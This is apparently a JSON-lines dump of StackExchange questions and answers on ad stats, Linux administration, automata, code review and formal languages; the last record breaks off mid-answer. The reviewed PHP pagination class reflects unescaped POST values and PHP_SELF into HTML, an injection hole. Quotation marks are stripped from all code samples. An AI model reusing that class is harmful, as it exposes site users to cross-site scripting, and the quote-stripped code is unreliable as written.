{  "id": "_webmaster.101450"  , "question": "I've set up DFP to do dynamic allocation but I can't seem to see any Ad Exchange stats now.  It says Adsense/AD Exchange stats and then the Ad Exchange section is all 0's.  I've also noticed the stats do not show in the standard ADX system.  How can I tell if ADX is actually filling?  It looks like Adsense is filling only based on the Ad Exchange stats showing 0."  , "title": "Where do I see stats for ADX ad units when using DFP?"  , "tags": "doubleclick ad exchange"  } 
{  "id": "_unix.4462"  , "question": "Possible Duplicate:Make package explicitly installed in pacman So I've been stupid and removed my /var/lib/pacman/local dir.Without backup, but with a root shell open at tty4. O yeah, pacman -Sf  with the base repo also overwrites your /etc/passwd. Thank god for .pacorig.  I still have my pacman logs, but all the packages are already installed. Pacman outputs errors that the files already exist.How can I install packages without modifying files? (pacman -S --fake --noextract)I've also tried the -D switch but that only works for installed packages.  "  , "title": "Pacman/Arch: Install package(s) without really installing them"  , "tags": "arch linux;package management;pacman"  } 
{  "id": "_webmaster.35184"  , "question": "I was looking at some cloud hosting price. Consider an entry level self hosted server:PRICE: 40----------CPU: i5 (4x 2.66 GHz)RAM: 16GBhard disk: 2TBBandwidth: 10TB/month with 100MbpsNow consider an equivalent on a cloud structure... (for example phpfog) PRICE: 29$ -------------- RAM: 613MB (LOL WUT?) CPU: 2 Burst ECUs Storage: 10GB (WUT?)Basically with cloud, to have the same hardware of your entry level dedicated server you have to pay 300-400...Is it normal? I am missing something?"  , "title": "Cloud hosting vs self hosting price"  , "tags": "cloud"  } 
{  "id": "_unix.339758"  , "question": "Say, I have custom kernel from my distribution, how could I get list of all options the kernel was build with?It's possible to get them by reading config file from kernel package from vendor's repo, but is there any other way? I mean ways to get that information form the kernel itself, maybe from procfs?"  , "title": "How to determine the options Linux kernel was build with?"  , "tags": "linux;kernel;configuration;options;procfs"  , "accepted_answer": "In addition to what @Stephen Kitt said, at least on my Debian system you can find the information in:/boot/config-<version>Where version, in my case, is:3.16.0-4-686-paeSo, issuing:less /boot/config-3.16.0-4-686-paeSpits out the kernel configs in a long list!"  } 
{  "id": "_webmaster.77143"  , "question": "I recently canceled my AdSense account and I want to re-apply for a new one, with a different email.My payee name and other informations will be exactly the same as my canceled account. Can I open a new AdSense account using the same information? My previous account no longer exists.If I can, how long I have to wait after canceling it?"  , "title": "I have canceled my AdSense account. Can I apply for a new account?"  , "tags": "google adsense;google adsense policies;accounts"  } 
{  "id": "_cs.19664"  , "question": "(I'm aware that software questions are better suited for stackoverflow, but since DFAs are not something that software developers usually care about, I hope it's alright if I ask here.)I'm currently working on a project to do with regular overapproximations for context free languages. For this purpose, I need to implement stuff that requires me to represent regular languages in a minimized form, intersect them, complement them, etc. - i.e. everything that's easy and quick to do with DFAs. However, I'm having a hard time finding still-maintained libraries for DFAs in C++. I could find libfa which does everything quite nicely, but that's as far as I've gotten. Grail hasn't been maintained in 15+ years and the download link is dead. FAdo seemed interesting initially, but it's in Python and I can't determine whether there's a way to use it as a C++ library, or whether it offers the functionality I mentioned above (the Docs are a bit slim).Do you know of C(++) libraries for DFAs that offer minimization, intersection and complementation that are free for academic use? I'd like to have at least one alternative to libfa that I can use."  , "title": "C(++) library for DFAs - free for academic use"  , "tags": "reference request;automata;finite automata;mathematical software"  , "accepted_answer": "I don't know of a full blown library, but based on [1] there is a really fast practical C++ implementation available from the author's homepage here.[1] Valmari, Antti. Fast brief practical DFA minimization. Information Processing Letters 112.6 (2012): 213-217."  } 
{  "id": "_unix.96663"  , "question": "I'm trying to install slime on a debian wheezy distro 64 bit called Crunchbang, trying to install common lisp, followed this tutorial, although the title says it's for windows, I installed it on linux and slime seems to work perfectly (or so i think).However, I see this errorCannot open slime-helper.el so i ran emacs --debug-init and got this error`Should I care about it? And if so, how to fix it?note that i have sbcl, not clisp, and that my .emacs fle looks like this(load (expand-file-name ~/quicklisp/slime-helper.el))(setq inferior-lisp-program sbcl)(require 'slime)(slime-setup '(slime-fancy))"  , "title": "Cannot open slime-helper.el"  , "tags": "debian;emacs;crunchbang;lisp"  , "accepted_answer": "The error says that the file /home/elie/quicklisp/slime-helper.el does not exist.So, does it?  What do you see when you do ls /home/elie/quicklisp/slime-helper.el?Incidentally, you do not need expand-file-name in load."  } 
{  "id": "_unix.268315"  , "question": "I am trying to run Logic application to talk to my logic analyzer, and I observe the following behavior, after I install the rules under the driver../Logic ./Logic: cpp_libs/libc.so.6: version `GLIBC_2.18' not found (required by /usr/lib/x86_64-linux-gnu/libstdc++.so.6)sudo bash./Logic ./Logic: cpp_libs/libc.so.6: version `GLIBC_2.18' not found (required by /usr/lib/x86_64-linux-gnu/libstdc++.so.6)sudo ./Logic # Application runsWhat is the cause for this strange behavior?I am running Ubuntu 14.04."  , "title": "Why does Logic Application not work except directly under sudo?"  , "tags": "bash;ubuntu;sudo"  } 
{  "id": "_unix.36886"  , "question": "I've seen this answer:Preserve bash history in multiple terminal windowsThis works for history, but I'm wondering if there is way to extend this so pressing up is shared as well?"  , "title": "Is there a way to make the history when pressing up in bash shared between shells?"  , "tags": "bash;command history"  } 
{  "id": "_cs.79925"  , "question": "I'm trying to solve the excersice from Knuth's ConcreteMathematics:A Double Tower of Hanoi contains 2n disks of n different sizes, two ofeach size. As usual, we're required to move only one disk at a time, without putting a larger one over a smaller one.How many moves does it take to transfer a double tower from one peg toanother, if disks of equal size are indistinguishable from each other?My solution was like this. Let $n$ be the number of disks ofdifferent sizes and $X_n$ - number of moves. The first few solutionsare:$n = 0$ $X_n = 0$$n = 1$ $X_n = 2$$n = 2$ $X_n = 6$$n = 3$ $X_n = 14$Recurrence is $X_n = 2X_{n-1} + 2$We can add $2$ to both sides:$X_n+2 = 2X_{n-1} + 4$let $Y_n = X_n + 2$, then$Y_n = 2Y_{n-1}$$Y_n = 2^n$$X_n = 2^n - 2$The problem is that the correct solution is $2^{n+1} - 2$, but Icannot find an error in my approach."  , "title": "Solve X(n) = 2X(n-1) + 2 recurrence relation"  , "tags": "recurrence relation"  , "accepted_answer": "Your $Y_0$ is probably wrong. $Y_0$ must be equal to $X_0+2=0+2=2$. Then $Y_n=2^{n+1}$ and hence $X_n=2^{n+1}-2$. Please double check. "  } 
{  "id": "_webmaster.86223"  , "question": "I'm having a lot of trouble with something that should be simple. I don't want my development site indexed by Google. According to Google's instructions, and just about everything else I can find says to block this through robots.txt. I set this up correctly months ago, but my development sites still show up. When I log into Google Webmasters and use their robots.txt tester, it shows my site and every URL I've tested should be completely blocked. User-agent: *Disallow: /As an extra measure, I added a simple .htpasswd to the website too, but cached pages still showed up. I went through each and every page and removed it using the Google removal tool - most of them disappeared temporarily but week after week more and more pages pop up as being indexed. I've tried to use Wordpress settings to disallow robots, and I've tried including page-specific code in the header too. This has been going on for quite some time.Long story short, this is starting to drive me crazy as I feel like I've tried everything I can to stop Google from indexing my site, but they won't. Can anyone think of what I could have done wrong? "  , "title": "Why does my staging site show up in Google even though my robots.txt file shouldn't allow it?"  , "tags": "seo;google;google search console;robots.txt;noindex"  } 
{  "id": "_unix.374236"  , "question": "How can I search lines in a text file for a pattern between two positions and print the entire row where that pattern is found? I am working with fixed-width files. I understand how to supply a list of lengths for each field to awk, but I am only interested in searching a single field for the pattern. Is there a simpler solution that does not involve specifying the length for each field?Here is a single line of text from the file. How can I find all lines that have 'Cook Co. IL' between positions 18 and 57 and not elsewhere in the line?17 031 1602 1600 Cook Co. IL                              047 011 9999 9999 Bradley Co. TN                                16"  , "title": "Search lines in text file for pattern between two positions and print entire row"  , "tags": "text processing;awk;grep"  , "accepted_answer": "awk solution:awk 'substr($0,18,57-18)~/Cook Co\\. IL/' filesubstr(string, start [, length ]) Return a length-character-long substring of string, starting at character  number start."  } 
{  "id": "_webmaster.3909"  , "question": "Have some ideas, but for now I'm going to leave it description as the question.If you have any questions, just ask -- thanks!!UPDATES: Guidelines:Workflow makes the most frequent tasks easy, and less frequent tasks achievable.Workflow covers 80% of the tasks.Solutions use smart default settings.Focus of the Question: The focus is the production of front interfaces; HTML, CSS, JS, generic content/graphic source, etc. Also, I figure that if the workflow required a CMS that the template would be based on existing one implementable on a given system. Again, thanks for any and all post!! -- Any real answers will get an up vote by me, and I will select an answer. Cheers!"  , "title": "What's the best workflow for creating websites fast & cheap, but that work as needed?"  , "tags": "website design;web development;process"  , "accepted_answer": "To expand a bit on John Conde's reply: Good, fast, cheap. Pick any two.I'd say that a static site built on a free web template with minor customizations (colors, column widths, background images) will suffice for 80-90% of small businesses. Get the client to fill out some kind of questionnaire, then do most of the thinking for them and show them your work every week or so for their feedback. If you want to produce fast and cheap websites, that's as much workflow as you and they usually need to consider; otherwise, the website will not be fast, and if it's cheap then it probably means you lost money for the amount of effort you put into it. Most clients who who care about implementing workflow on their website are not in the we want a site fast and cheap camp.Edit: do you mean the workflow that you use to create the website, or the workflow that the client uses to achieve his business tasks with the website?"  } 
{  "id": "_cstheory.36687"  , "question": "There are quite a lot papers describing near-linear algorithms. They are usually iterative, with linear complexity of one iteration. Others have $O(n\\log^k n)$ time compexity.I'm failed to find a decent source with the definition of near-linear time, which covers both types. Please, help me find one."  , "title": "Definition of near-linear algorithm"  , "tags": "time complexity;definitions"  } 
{  "id": "_unix.383239"  , "question": "I've created with Yocto a Linux image for an IMX6 device.I've modified the /etc/network/interface file in order to setup usb0 and wlan0.No problem with usb0, it's correctly setup at boot time. It does not work as expected for wlan0.My /etc/network/interface looks like:auto usb0iface usb0 inet static    address 192.168.1.1    broadcast 192.168.1.255    netmask 255.255.255.0auto wlan0iface wlan0 inet dhcp    wpa-conf /etc/wpa_supplicant.confThe wpa_supplicant.conf looks like:network={    ssid=my_own_ssid    psk_mgmt=NONE}Having that done, if I tried:ifup wlan0I get:udhcpc (v1.24.2) startedSending discover...Sending discover...Sending discover...No lease, failingSame thing if I do:/etc/init.d/S40network restartHowever, I type the following command before:wpa_supplicant -B -iwlan0 -c /etc/wpa_supplicant.conf -Dwextifup wlan0It works.I'm not a Linux expert, but I was understanding that wpa_supplicant was called by /etc/network daemon.How can I do to have wlan0 setup at boot time ? Any suggestion is welcome.Z."  , "title": "Configure wlan0 interface at boot time"  , "tags": "network interface;wpa supplicant;wlan"  } 
{  "id": "_softwareengineering.33402"  , "question": "Okay, this is one of those little things that always bugged me. I typically don't abbreviate identifiers, and the only time I use a short identifier (e.g., i) is for a tight loop. So it irritates me when I'm working in C++ and I have a variable that needs to be named operator or class and I have to work around it or use an abbreviation, because it ends up sticking out. Caveat: this may happen to me disproportionately often because I work a lot in programming language design, where domain objects may mirror concepts in the host language and inadvertently cause clashes.How would you deal with this? Abbreviate? (op) Misspell? (klass) Something else? (operator_)"  , "title": "What do you do when your naming convention clashes with your language?"  , "tags": "naming"  , "accepted_answer": "Accept that you might have to make minor changes to your naming convention, such as adding capitalization.  It's better to accept this as soon as possible so all subsequent code is consistent.Consider being more specific.  Keywords tend to be quite broad, so narrowing class down to demonstrationClass not only works around the issues but also increases readability."  } 
{  "id": "_webapps.29282"  , "question": "My Gmail account does not have the select all checkbox, so I have to select one by one.Is there any other way to delete all my spam messages?"  , "title": "Why doesn't my Gmail account have the select all option?"  , "tags": "gmail"  } 
{  "id": "_unix.115398"  , "question": "I am connected to a Freebsd 10 -STABLE server with SSH from my office box but when I trying to work inside the session I encounter these problems:although I did chsh for every user in said server to /usr/local/bin/bash; whenever I ssh to server I get:sh (the default Bourne shell in FreeBSD) supports command-line editing.  Just``set -o emacs'' or ``set -o vi'' to enable it. in my ssh session I can't go to end of a line by End key or beginning of a line by Home key. instead I get ~ character. all and all the environment I feel in the SSH session is primitive and hard to navigate.the echo $SHELL returns /usr/local/bin/bash.  the ps -ef|grep $$ returns:2010  0  S    0:00.03 TERM=xterm PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/s and   echo $0 returns su"  , "title": "Setting the bash SHELL for remote openSSH connections?"  , "tags": "shell;ssh;freebsd;openssh"  } 
{  "id": "_codereview.71026"  , "question": "In a bigger project of mine I'm using angular to create a dropdown menu dynamically and then toggling a dropdown menu for some of the menu items. This is why I got a function that toggles the dropdown menus for only the items that should actually have one. However, I feel like I should try to DRY this out a bit since I'll be repeating the same function even more than what I've done so far. How can I improve this code? Should I create a self invoking function or something similar?        Here's the functions (they're part of a controller object that I left out):    init: function() {        menuController.toggleDropDown('msg');        menuController.toggleDropDown('mypages');        menuController.toggleDropDown('tools');        menuController.toggleDropDown('administration');        menuController.toggleDropDown('contactinfo');        menuController.toggleDropDown('utbildning');        menuController.toggleDropDown('surveys');        menuController.toggleDropDown('help');    },    toggleDropDown: function (id) {        $('#main-menu' + ' #' + id + '').hover(function() {            $('#' + id + ' ul').stop().slideToggle();        });    }"  , "title": "Toggle dropdown menus for different menu items with Jquery"  , "tags": "javascript;beginner;jquery;object oriented"  , "accepted_answer": "I think you can use html attribute to group it.eg.<div data-toggle=dropdown> or<a data-toggle=dropdown> or whateverand then$('#main-menu [data-toggle=dropdown]').hover(function(e) {    $(e.currentTarget).find('ul').stop().slideToggle();});"  } 
{  "id": "_unix.312261"  , "question": "I'm having difficultly finding an explanation for allowing the OS default copy/paste capabilities (i.e. highlight a portion of text and then use standard shortcut or right click menu) and allow mouse scrolling at the same time. Mouse mode turns on tmux's own copy/paste system, but leaving it off removes the mouse scrolling. As I'm switching between an IDE, browser, and terminal with tmux I would like the controls to be consistent between all of them. Is there a way to have the standard OS copy/paste controls while also allowing the mouse to scroll in tmux?(Note: I originally asked, but deleted, this question on SO. I decided it was more appropriate here.)"  , "title": "tmux mouse scrolling without altering copy/paste?"  , "tags": "tmux;clipboard;scrolling"  , "accepted_answer": "It depends on whether you are relying upon tmux to interpret the wheel-mouse, or not.  If that's tmux — no, you cannot, because tmux would only see the wheel mouse events if it turned on the terminal's mouse operations.Without turning on the mouse operations, some terminals may send up/down cursor keys to the application when it has switched to the alternate screen.  VTE (gnome-terminal) has done that unconditionally for a few years.  The same feature is an option(alternateScroll) in xterm.  tmux switches to the alternate screen if the terminal description has that in the terminfo smcup and rmcup capabilities.  While in the alternate screen, normally (except for this fairly recent up/down cursor feature), the wheel mouse would have no effect on the terminal.So...  you can get some limited use of the wheel  mouse while running tmux, and it depends on the terminal and how it is configured."  } 
{  "id": "_codereview.35251"  , "question": "I did most of my PHP coding back with PHP 4, and among the projects I did was a popular pagination class. I've been meaning to bring it up to date with PHP 5 and OOP practices. I've also been working on updating my database code, using PDO over the deprecated mysql* functions. What I'd like from you is your input and feedback about my updates.Pagination Classclass Paginator{    public $items_per_page;    public $total_items;    public $current_page;    public $num_pages;    public $mid_range;    public $limit;    public $limit_start;    public $limit_end;    public $return;    public $querystring;    public $ipp_array;    public $get_ipp;    public $get_page;    public function __construct($total,$mid_range=7,$ipp_array=array(10,25,50,100,'All')) {        $this->total_items = $total;        $this->mid_range = $mid_range;        $this->ipp_array = $ipp_array;        $this->items_per_page = (isset($_GET['ipp'])) ? $_GET['ipp'] : $this->ipp_array[0];        $this->get_ipp = isset($_GET['ipp']) ? $_GET['ipp'] : NULL;        $this->get_page = isset($_GET['page']) ? (int) $_GET['ipp'] : 1;        $this->default_ipp = $this->ipp_array[0];        if($this->get_ipp == 'All') {            $this->num_pages = 1;        } else {            if(!is_numeric($this->items_per_page) OR $this->items_per_page <= 0) $this->items_per_page = $this->ipp_array[0];            $this->num_pages = ceil($this->total_items/$this->items_per_page);        }        $this->current_page = (isset($_GET['page'])) ? (int) $_GET['page'] : 1 ; // must be numeric > 0        if($_GET) {            $args = explode(&,$_SERVER['QUERY_STRING']);            foreach($args as $arg) {                $keyval = explode(=,$arg);                if($keyval[0] != page And $keyval[0] != ipp) $this->querystring .= & . $arg;            }        }        if($_POST) {            foreach($_POST as $key=>$val) {                if($key != page And $key != ipp) $this->querystring .= &$key=$val;            }        }        if($this->num_pages > 10) {            $this->return = ($this->current_page > 1 And $this->total_items >= 10) ? <a class=\\paginate\\ href=\\$_SERVER[PHP_SELF]?page=.($this->current_page-1).&ipp=$this->items_per_page$this->querystring\\>Previous</a> :<span class=\\inactive\\ href=\\#\\>Previous</span> ;            $this->start_range = $this->current_page - floor($this->mid_range/2);            $this->end_range = $this->current_page + floor($this->mid_range/2);            if($this->start_range <= 0) {                $this->end_range += abs($this->start_range)+1;                $this->start_range = 1;            }            if($this->end_range > $this->num_pages) {                $this->start_range -= $this->end_range-$this->num_pages;                $this->end_range = $this->num_pages;            }            $this->range = range($this->start_range,$this->end_range);            for($i=1;$i<=$this->num_pages;$i++) {                if($this->range[0] > 2 And $i == $this->range[0]) $this->return .=  ... ;                // loop through all pages. if first, last, or in range, display                if($i==1 Or $i==$this->num_pages Or in_array($i,$this->range)) {                    $this->return .= ($i == $this->current_page And $this->get_page != 'All') ? <a title=\\Go to page $i of $this->num_pages\\ class=\\current\\ href=\\#\\>$i</a> \\n:<a class=\\paginate\\ title=\\Go to page $i of $this->num_pages\\ href=\\$_SERVER[PHP_SELF]?page=$i&ipp=$this->items_per_page$this->querystring\\>$i</a> \\n;                }                if($this->range[$this->mid_range-1] < $this->num_pages-1 And $i == $this->range[$this->mid_range-1]) $this->return .=  ... ;            }            $this->return .= (($this->current_page < $this->num_pages And $this->total_items >= 10) And ($this->get_page != 'All') And $this->current_page > 0) ? <a class=\\paginate\\ href=\\$_SERVER[PHP_SELF]?page=.($this->current_page+1).&ipp=$this->items_per_page$this->querystring\\>Next</a>\\n:<span class=\\inactive\\ href=\\#\\>Next</span>\\n;            $this->return .= ($this->get_page == 'All') ? <a class=\\current\\ style=\\margin-left:10px\\ href=\\#\\>All</a> \\n:<a class=\\paginate\\ style=\\margin-left:10px\\ href=\\$_SERVER[PHP_SELF]?page=1&ipp=All$this->querystring\\>All</a> \\n;        } else  {            for($i=1;$i<=$this->num_pages;$i++) {                $this->return .= ($i == $this->current_page) ? <a class=\\current\\ href=\\#\\>$i</a> :<a class=\\paginate\\ href=\\$_SERVER[PHP_SELF]?page=$i&ipp=$this->items_per_page$this->querystring\\>$i</a> ;            }            $this->return .= <a class=\\paginate\\ href=\\$_SERVER[PHP_SELF]?page=1&ipp=All$this->querystring\\>All</a> \\n;        }        $this->return = str_replace('&','&amp;',$this->return);        $this->limit_start = ($this->current_page <= 0) ? 0:($this->current_page-1) * $this->items_per_page;        if($this->current_page <= 0) $this->items_per_page = 0;        $this->limit_end = ($this->get_ipp == 'All') ? (int) $this->total_items: (int) $this->items_per_page;    }    public function display_items_per_page() {        $items = NULL;        natsort($this->ipp_array); // This sorts the drop down menu options array in numeric order (with 'all' last after the default value is picked up from the first slot        if(is_null($this->get_ipp)) $this->items_per_page = $this->ipp_array[0];        foreach($this->ipp_array as $ipp_opt) $items .= ($ipp_opt == $this->items_per_page) ? <option selected value=\\$ipp_opt\\>$ipp_opt</option>\\n:<option value=\\$ipp_opt\\>$ipp_opt</option>\\n;        return <span class=\\paginate\\>Items per page:</span><select class=\\paginate\\ onchange=\\window.location='$_SERVER[PHP_SELF]?page=1&amp;ipp='+this[this.selectedIndex].value+'$this->querystring';return false\\>$items</select>\\n;    }    public function display_jump_menu() {        $option=NULL;        for($i=1;$i<=$this->num_pages;$i++) {            $option .= ($i==$this->current_page) ? <option value=\\$i\\ selected>$i</option>\\n:<option value=\\$i\\>$i</option>\\n;        }        return <span class=\\paginate\\>Page:</span><select class=\\paginate\\ onchange=\\window.location='$_SERVER[PHP_SELF]?page='+this[this.selectedIndex].value+'&amp;ipp=$this->items_per_page$this->querystring';return false\\>$option</select>\\n;    }    public function display_pages() {        return $this->return;    }}Sample Instantiation<?phpinclude('paginator.class.php');try {    $conn = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);     $num_rows = $conn->query('SELECT COUNT(*) FROM City')->fetchColumn();     $pages = new Paginator($num_rows,9,array(15,3,6,9,12,25,50,100,250,'All'));    echo $pages->display_pages();    echo <span class=\\\\>.$pages->display_jump_menu().$pages->display_items_per_page().</span>;    $stmt = $conn->prepare('SELECT City.Name,City.Population,Country.Name,Country.Continent,Country.Region FROM City INNER JOIN Country ON City.CountryCode = Country.Code ORDER BY City.Name ASC LIMIT :start,:end');    $stmt->bindParam(':start', $pages->limit_start, PDO::PARAM_INT);    $stmt->bindParam(':end', $pages->limit_end, PDO::PARAM_INT);    $stmt->execute();    $result = $stmt->fetchAll();    echo <table><tr><th>City</th><th>Population</th><th>Country</th><th>Continent</th><th>Region</th></tr>\\n;    foreach($result as $row) {        echo <tr><td>$row[0]</td><td>$row[1]</td><td>$row[2]</td><td>$row[3]</td><td>$row[4]</td></tr>\\n;    }    echo </table>\\n;    echo $pages->display_pages();    echo <p class=\\paginate\\>Page: $pages->current_page of $pages->num_pages</p>\\n;    echo <p class=\\paginate\\>SELECT * FROM table LIMIT $pages->limit_start,$pages->limit_end (retrieve records $pages->limit_start-.($pages->limit_start+$pages->limit_end). from table - $pages->total_items item total / $pages->items_per_page items per page);} catch(PDOException $e) {    echo 'ERROR: ' . $e->getMessage();}?>Live DemosDemo 1Demo 2Areas of ConcernI noticed in my query that if I try to execute the SQL with:$stmt->execute( array(':start'=>$pages->limit_start,':end'=>$pages->limit_end) );I get an error unless I also use $conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, FALSE);. However I can get around that if I use bindParam instead:$stmt->bindParam(':start', $pages->limit_start, PDO::PARAM_INT);$stmt->bindParam(':end', $pages->limit_end, PDO::PARAM_INT);$stmt->execute();Should I be using $conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, FALSE); or the separate bindParam calls?bindParam seems like a decent solution, whereas using ATTR_EMULATE_PREPARESseems a little hacky.Within the class, am I setting the visibility (public, private, protected) of my parameters and methods properly?If you see anything that jumps out at you like what in the world was he thinking?, you can assume that I was dealing with something I hadn't done before. Any tips or suggestions overall would be appreciated."  , "title": "Critique Requested on PHP Pagination Class"  , "tags": "php;object oriented;classes;pdo;pagination"  } 
{  "id": "_unix.227373"  , "question": "Is there a portable way of handling NULL characters in shell?A typical example would be splitting the output of find ... -print0 with shell (and shell only) either in a pipe or in a command substitution result. By portable I mean ideally something that shells not as powerful as e.g. bash or zsh wouldn't choke on. Is this possible in a bare POSIX shell (any POSIX version)?"  , "title": "Handling NULL characters in shell"  , "tags": "shell;binary"  , "accepted_answer": "POSIX doesn't envision the standard utilities to deal with text embedding null characters. The -print0 option you use with find is itself a GNU extension unsupported by POSIX.One way to deal with a flow of data containing nulls with POSIX shell scripting would be to convert it first to real text with od and process that text instead.In any case, if you have GNU find, you likely have other GNU utilities that haven't that limitation in the first place."  } 
{  "id": "_codereview.13949"  , "question": "I have written code exclusively in both C and C++. I see clear advantages in both and therefore have recently began using them together. I have also read, what I would consider,          outrageous comments claiming that to code in C is outright dumb, and it is the language of past generations. So, in terms of maintenance, acceptance, common practice and efficiency; is it something professionals on large scale projects see/do?Here's an example snippet:I obviously need to #include both <stdio.h> and <iostream>.#define STRADD , #include <stdio.h>#include <stdlib.h>#include <iostream>#include <fstream>#include <iomanip>#include <string>#include Struct.h#include Rates.h#include Taxes.husing namespace std; And later I utilize functions like...void printHeading(FILE * fp){    fprintf(fp, Employee            Pay        Reg Hrs     Gross       Fed        SSI        Net\\n);    fprintf(fp, Name                Rate       Ovt Hrs     Pay         State      Defr       Pay\\n);    fprintf(fp, ==================================================================================\\n);    return;}and..void getEmpData(EmpRecord &e){    cout << \\n Enter the employee's first name: ;    getline(cin, e.firstname);    cout <<  Enter the employee's last name: ;    getline(cin, e.lastname);    e.fullname = e.lastname + STRADD + e.firstname; //Fullname string creation    cout <<  Enter the employee's hours worked: ;    cin >> e.hours;    while(e.hours < 0)    {        cout <<   You did enter a valid amount of hours!\\n;        cout <<   Please try again: ;        cin >> e.hours;    }        cout <<  Enter the employee's payrate: ;        cin >> e.rate;    while(e.rate < MINWAGE)    {        cout <<   You did enter a valid hourly rate!\\n;        cout <<   Please try again: ;        cin >> e.rate;    }    cout <<  Enter any amount to be tax deferred: ;    cin >> e.deferred;    while(e.deferred < 0)    {        cout <<   You did enter a valid deferred amount!\\n;        cout <<   Please try again: ;        cin >> e.deferred;    }    cin.ignore(100, '\\n');    return;}Thanks in advance!"  , "title": "What are the draw backs, if any, in using C and C++ together? Is doing so considered correct by the large?"  , "tags": "c++;c"  } 
{  "id": "_cstheory.7168"  , "question": "I'm considering the problem of recognizing a language (over alphabet 0-9 and space) containing strings like 1 2 3 4 5 6 and 14 15 16 17 but not 1 3. This came up while working on a common parsing task where elements needed to be in an ordered list.  It struck me that while parsing the rest of that language was regular, this part was clearly irregular -- it can recognize, for example, the language A1A2 where A is an arbitrary string 0-9.  In fact it seems to be content-sensitive (and not context-free by the pumping lemma).My first question: is there a (reasonably well-known, i.e. not defined just for this problem) class of languages between context-sensitive and context-free that describes its expressive power better?  I've read about Aho's indexed languages, but it's not obvious (to me!) that these are even in that class, powerful though it is.My second question is informal.  It seems that this language is easy to parse, and yet it is very high on the hierarchy. Is it common to come across similar examples and is there a standard way of dealing with them?  Is there an alternate grouping of classes of languages that is incompatible with inclusion on the 'usual' ones?My reason for thinking this is easy: the language can be parsed deterministically, by reading until you get to the end of the first number, checking if the next number follows, and so forth. In particular it can be parsed in O(n) time with O(n) space; the space can be reduced to $O(\\sqrt n)$ without too much trouble, I think.  But it's hard enough to get that kind of performance with regular languages, let alone context-free."  , "title": "What kind of language is needed to recognize an ordered list? [multihead automata, apparently]"  , "tags": "fl.formal languages"  , "accepted_answer": "It sounds like what you are looking for are multihead automata (in your case, 1-way 2-head deterministic finite automata should suffice). I'm not really an expert on these, but google turns up some interesting surveys on this language hierarchy, such asMarek Chrobak: Hierarchies of one-way multihead automata, http://www.sciencedirect.com/science/article/pii/0304397586900939This also gives one answer to your second question: The hierarchy of n-head automata lies across the Chomsky hierarchy."  } 
{  "id": "_codereview.141688"  , "question": "ChallengeFind all possible moves for a knight on an empty chessboard.SpecificationsThe first argument is a path to a file.The file contains multiple lines.Each line is a test case representing the position of the knight in CN form.C is a letter from a to h and denotes a column.N is a number from 1 to 8 and denotes a row.For each test case, print all positions for the next move of the knight ordered alphabetically.                                            Sample Inputg2  a1  d6  e5  b1Sample Outpute1 e3 f4 h4  b3 c2  b5 b7 c4 c8 e4 e8 f5 f7  c4 c6 d3 d7 f3 f7 g4 g6  a3 c3 d2SourceMy Solution#include <stdio.h>#include <stdlib.h>#define LINE_LENGTH 5#define BOARD_LENGTH 8#define MOVE_BUFFER 24int rows[] = {1, 2, 3, 4, 5, 6, 7, 8};char cols[] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h'};char moves[MOVE_BUFFER];int move_iter = 0;char num_convert(int *n) {    for (int i = 0; i < BOARD_LENGTH; i++) {        if (*n == rows[i]) {            return cols[i];        }    }}int alpha_convert(char *c) {    for (int i = 0; i < BOARD_LENGTH; i++) {        if (*c == cols[i]) {            return rows[i];        }    }}void add_moves(int c, int n1, int n2) {    if (c >= 1 && c <= 8) {        if (n1 >= 1) {            moves[move_iter++] = num_convert(&c);            moves[move_iter++] = n1 + '0';            moves[move_iter++] = ' ';        }        if (n2 <= 8) {            moves[move_iter++] = num_convert(&c);            moves[move_iter++] = n2 + '0';            moves[move_iter++] = ' ';        }    }}char* valid_moves(char position[]) {    int C = alpha_convert(&position[0]);    int N = atoi(&position[1]);    add_moves(C - 2, N - 1, N + 1);    add_moves(C - 1, N - 2, N + 2);    add_moves(C + 1, N - 2, N + 2);    add_moves(C + 2, N - 1, N + 1);    moves[move_iter - 1] = '\\0';    move_iter = 0;    return moves; }int main(int argc, char *args[]) {    if (argc < 2) {        fprintf(stderr, File path not provided. Exiting...\\n);        return 1;    }    if (argc > 2) {        puts(Excessive arguments, only the first will be considered.);    }    FILE *file = fopen(args[1], r);    if (file == NULL) {        perror(Error);        return 1;    }    char position[LINE_LENGTH];    while (fgets(position, LINE_LENGTH, file)) {        puts(valid_moves(position));    }    fclose(file);}"  , "title": "All the knight moves in all the right places"  , "tags": "beginner;c;programming challenge"  , "accepted_answer": "Joshua: What's the difference?Computers sometimes have a hard time to differentiate between things that are apples and oranges to us, some examples are:if this is a game or if this is realthermonuclear war and a game of chesschar and intYou have two functions converting from char to int and back:char num_convert(int *n) {    for (int i = 0; i < BOARD_LENGTH; i++) {        if (*n == rows[i]) {            return cols[i];        }    }}int alpha_convert(char *c) {    for (int i = 0; i < BOARD_LENGTH; i++) {        if (*c == cols[i]) {            return rows[i];        }    }}This is not necessary in C, because char and int are kind of the same thing. You can do regular calculations with characters just like you do with integers. Once in character, stay in character.So when it comes to playing the game of converting between both types, I'd have to say the only winning move is not to play.the mysterious void add_moves()I have no idea what this function does.void add_moves(int c, int n1, int n2) {    if (c >= 1 && c <= 8) {        if (n1 >= 1) {            moves[move_iter++] = num_convert(&c);            moves[move_iter++] = n1 + '0';            moves[move_iter++] = ' ';        }        if (n2 <= 8) {            moves[move_iter++] = num_convert(&c);            moves[move_iter++] = n2 + '0';            moves[move_iter++] = ' ';        }    }}Why are there two n but only a single c? What do those values represent?They are apparently boundary checked, too. Then there's this code block that's pretty much duplicated for both n, which is bad.        if (n1 >= 1) {            moves[move_iter++] = num_convert(&c);            moves[move_iter++] = n1 + '0';            moves[move_iter++] = ' ';        }After all, something is somehow added to moves, which justifies the name add_moves(). But it's not immediately clear to me what's going on in that function and I feel like too much is going on.a hint in char* valid_moves()This function takes away a bit of the mystery from what add_moves() is doing. As it calls it with different possible moves of the knight.add_moves(C - 2, N - 1, N + 1);add_moves(C - 1, N - 2, N + 2);add_moves(C + 1, N - 2, N + 2);add_moves(C + 2, N - 1, N + 1);This is not very intuitive. Why do I only see 4 lines here? The knight can do 8 moves in general. Now it is clear why add_moves() takes two n values as parameters, but only one c.This distribution of logic doesn't appear to be plausible. It's like some part of the movement is calculated in one 